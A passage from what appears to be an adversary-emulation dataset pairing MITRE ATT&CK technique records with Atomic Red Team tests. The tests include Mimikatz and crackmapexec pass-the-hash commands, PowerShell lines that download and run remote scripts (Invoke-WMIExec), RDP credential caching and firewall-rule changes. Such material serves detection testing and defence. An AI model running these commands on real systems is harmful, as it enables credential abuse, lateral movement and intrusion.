- "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Credential Request",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ],
- "identifier": "T1550.002"
- },
- "atomic_tests": [
- {
- "name": "Mimikatz Pass the Hash",
- "auto_generated_guid": "ec23cef9-27d9-46e4-a68d-6f75f7b86908",
- "description": "Note: must dump hashes first\n[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_name": {
- "description": "username",
- "type": "string",
- "default": "Administrator"
- },
- "ntlm": {
- "description": "ntlm hash",
- "type": "string",
- "default": "cc36cf7a8514893efccd3324464tkg1a"
- },
- "domain": {
- "description": "domain",
- "type": "string",
- "default": "%userdnsdomain%"
- },
- "mimikatz_path": {
- "description": "mimikatz windows executable",
- "type": "path",
- "default": "%tmp%\\mimikatz\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "command": "#{mimikatz_path} \"sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "crackmapexec Pass the Hash",
- "auto_generated_guid": "eb05b028-16c8-4ad8-adea-6f5b219da9a9",
- "description": "command execute with crackmapexec\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_name": {
- "description": "username",
- "type": "string",
- "default": "Administrator"
- },
- "crackmapexec_exe": {
- "description": "crackmapexec windows executable",
- "type": "path",
- "default": "C:\\CrackMapExecWin\\crackmapexec.exe"
- },
- "command": {
- "description": "command to execute",
- "type": "string",
- "default": "whoami"
- },
- "ntlm": {
- "description": "command",
- "type": "string",
- "default": "cc36cf7a8514893efccd3324464tkg1a"
- },
- "domain": {
- "description": "domain",
- "type": "string",
- "default": "%userdnsdomain%"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})\n",
- "prereq_command": "if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}\n"
- }
- ],
- "executor": {
- "command": "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Invoke-WMIExec Pass the Hash",
- "auto_generated_guid": "f8757545-b00a-4e4e-8cfb-8cfb961ee713",
- "description": "Use Invoke-WMIExec to Pass the Hash\nNote: must dump hashes first\n[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ntlm": {
- "description": "ntlm hash",
- "type": "string",
- "default": "cc36cf7a8514893efccd3324464tkg1a"
- },
- "user_name": {
- "description": "username",
- "type": "string",
- "default": "Administrator"
- },
- "command": {
- "description": "Command to run on target system",
- "type": "string",
- "default": "hostname"
- },
- "target": {
- "description": "System to run command on",
- "type": "string",
- "default": "$env:COMPUTERNAME"
- }
- },
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}",
- "name": "powershell"
- }
- }
- ]
- },
- "T1021.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
- "type": "attack-pattern",
- "created": "2020-02-11T18:23:26.059Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1021.001",
- "url": "https://attack.mitre.org/techniques/T1021/001"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
- "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
- "source_name": "TechNet Remote Desktop Services"
- },
- {
- "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
- "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
- "source_name": "Alperovitch Malware"
- }
- ],
- "modified": "2022-03-28T16:07:44.605Z",
- "name": "Remote Services: Remote Desktop Protocol",
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Remote Desktop Users",
- "User"
- ],
- "x_mitre_system_requirements": [
- "RDP service enabled, account in the Remote Desktop Users group"
- ],
- "identifier": "T1021.001"
- },
- "atomic_tests": [
- {
- "name": "RDP to DomainController",
- "auto_generated_guid": "355d4632-8cb9-449d-91ce-b566d0253d3e",
- "description": "Attempt an RDP session via Remote Desktop Application to a DomainController.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "logonserver": {
- "description": "ComputerName argument default %logonserver%",
- "type": "string",
- "default": "$ENV:logonserver.TrimStart(\"\\\")"
- },
- "domain": {
- "description": "domain argument default %USERDOMAIN%",
- "type": "string",
- "default": "$Env:USERDOMAIN"
- },
- "username": {
- "description": "Username argument default %username%",
- "type": "string",
- "default": "$ENV:USERNAME"
- },
- "password": {
- "description": "Password",
- "type": "string",
- "default": "1password2!"
- }
- },
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0} else { exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- }
- ],
- "executor": {
- "command": "$Server=#{logonserver}\n$User = Join-Path #{domain} #{username}\n$Password=\"#{password}\"\ncmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password\nmstsc /v:$Server\necho \"RDP connection established\"\n",
- "cleanup_command": "$p=Tasklist /svc /fi \"IMAGENAME eq mstsc.exe\" /fo csv | convertfrom-csv\nif(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }\n",
- "name": "powershell"
- }
- },
- {
- "name": "Changing RDP Port to Non Standard Port via Powershell",
- "auto_generated_guid": "2f840dd4-8a2e-4f44-beb3-6b2399ea3771",
- "description": "Changing RDP Port to Non Standard Port via Powershell\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "OLD_Remote_Port": {
- "description": "Default RDP Listening Port",
- "type": "string",
- "default": "3389"
- },
- "NEW_Remote_Port": {
- "description": "New RDP Listening Port",
- "type": "string",
- "default": "4489"
- }
- },
- "executor": {
- "command": "Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{NEW_Remote_Port}\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}\n",
- "cleanup_command": "Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{OLD_Remote_Port}\nRemove-NetFirewallRule -DisplayName \"RDPPORTLatest-TCP-In\" -ErrorAction ignore \n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Changing RDP Port to Non Standard Port via Command_Prompt",
- "auto_generated_guid": "74ace21e-a31c-4f7d-b540-53e4eb6d1f73",
- "description": "Changing RDP Port to Non Standard Port via Command_Prompt\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "OLD_Remote_Port": {
- "description": "Default RDP Listening Port",
- "type": "string",
- "default": "3389"
- },
- "NEW_Remote_Port": {
- "description": "New RDP Listening Port",
- "type": "string",
- "default": "4489"
- }
- },
- "executor": {
- "command": "reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} -f\nnetsh advfirewall firewall add rule name=\"RDPPORTLatest-TCP-In\" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}\n",
- "cleanup_command": "reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} -f >nul 2>&1\nnetsh advfirewall firewall delete rule name=\"RDPPORTLatest-TCP-In\" >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1550.001": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "SaaS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Shailesh Tiwary (Indian Army)",
- "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
- "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
- "Mark Wee",
- "Jen Burns, HubSpot"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
- "created": "2020-01-30T17:37:22.261Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550.001",
- "url": "https://attack.mitre.org/techniques/T1550/001"
- },
- {
- "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
- "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
- "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019."
- },
- {
- "source_name": "AWS Logging IAM Calls",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html",
- "description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022."
- },
- {
- "source_name": "AWS Temporary Security Credentials",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html",
- "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022."
- },
- {
- "source_name": "Microsoft Identity Platform Access 2019",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
- "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019."
- },
- {
- "source_name": "Google Cloud Service Account Credentials",
- "url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials",
- "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022."
- },
- {
- "source_name": "GCP Monitoring Service Account Usage",
- "url": "https://cloud.google.com/iam/docs/service-account-monitoring",
- "description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022."
- },
- {
- "source_name": "okta",
- "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen",
- "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019."
- },
- {
- "source_name": "Rhino Security Labs Enumerating AWS Roles",
- "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration",
- "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022."
- },
- {
- "source_name": "Staaldraad Phishing with OAuth 2017",
- "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/",
- "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/593.html",
- "source_name": "capec",
- "external_id": "CAPEC-593"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.",
- "modified": "2022-05-20T17:40:20.069Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Application Access Token",
- "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Web Credential: Web Credential Usage"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1077": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:00.200Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1077",
- "url": "https://attack.mitre.org/techniques/T1077"
- },
- {
- "external_id": "CAPEC-561",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/561.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
- "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
- "source_name": "Wikipedia SMB"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx",
- "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
- "source_name": "TechNet RPC"
- },
- {
- "url": "http://support.microsoft.com/kb/314984",
- "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
- "source_name": "Microsoft Admin Shares"
- },
- {
- "url": "https://technet.microsoft.com/bb490717.aspx",
- "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
- "source_name": "Technet Net Use"
- },
- {
- "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts",
- "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
- "source_name": "Lateral Movement Payne"
- },
- {
- "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem",
- "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
- "source_name": "Windows Event Forwarding Payne"
- },
- {
- "source_name": "Medium Detecting Lateral Movement",
- "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
- "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."
- }
- ],
- "modified": "2020-03-23T19:54:12.651Z",
- "name": "Windows Admin Shares",
- "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$
, ADMIN$
, and IPC$
. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use
commands with valid credentials. (Citation: Technet Net Use)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account."
- ]
- },
- "atomic_tests": []
- }
- }
- },
- {
- "category": "credential-access",
- "data": {
- "T1557": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Mayuresh Dani, Qualys",
- "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project",
- "NEC"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
- "created": "2020-02-11T19:07:12.114Z",
- "x_mitre_version": "2.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1557",
- "url": "https://attack.mitre.org/techniques/T1557"
- },
- {
- "source_name": "dns_changer_trojans",
- "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats",
- "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021."
- },
- {
- "source_name": "taxonomy_downgrade_att_tls",
- "url": "https://arxiv.org/abs/1809.05681",
- "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021."
- },
- {
- "source_name": "ad_blocker_with_miner",
- "url": "https://securelist.com/ad-blocker-with-miner-included/101105/",
- "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021."
- },
- {
- "source_name": "mitm_tls_downgrade_att",
- "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/",
- "description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021."
- },
- {
- "source_name": "Rapid7 MiTM Basics",
- "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/",
- "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020."
- },
- {
- "source_name": "tlseminar_downgrade_att",
- "url": "https://tlseminar.github.io/downgrade-attacks/",
- "description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021."
- },
- {
- "source_name": "ttint_rat",
- "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/",
- "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/94.html",
- "source_name": "capec",
- "external_id": "CAPEC-94"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
- "modified": "2022-04-19T18:22:28.290Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Adversary-in-the-Middle",
- "x_mitre_detection": "Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Service: Service Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Application Log: Application Log Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1556.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Scott Knight, @sdotknight, VMware Carbon Black",
- "George Allen, VMware Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771",
- "type": "attack-pattern",
- "created": "2020-06-26T04:01:09.648Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.003",
- "url": "https://attack.mitre.org/techniques/T1556/003"
- },
- {
- "source_name": "Apple PAM",
- "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt",
- "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020."
- },
- {
- "source_name": "Man Pam_Unix",
- "url": "https://linux.die.net/man/8/pam_unix",
- "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020."
- },
- {
- "source_name": "Red Hat PAM",
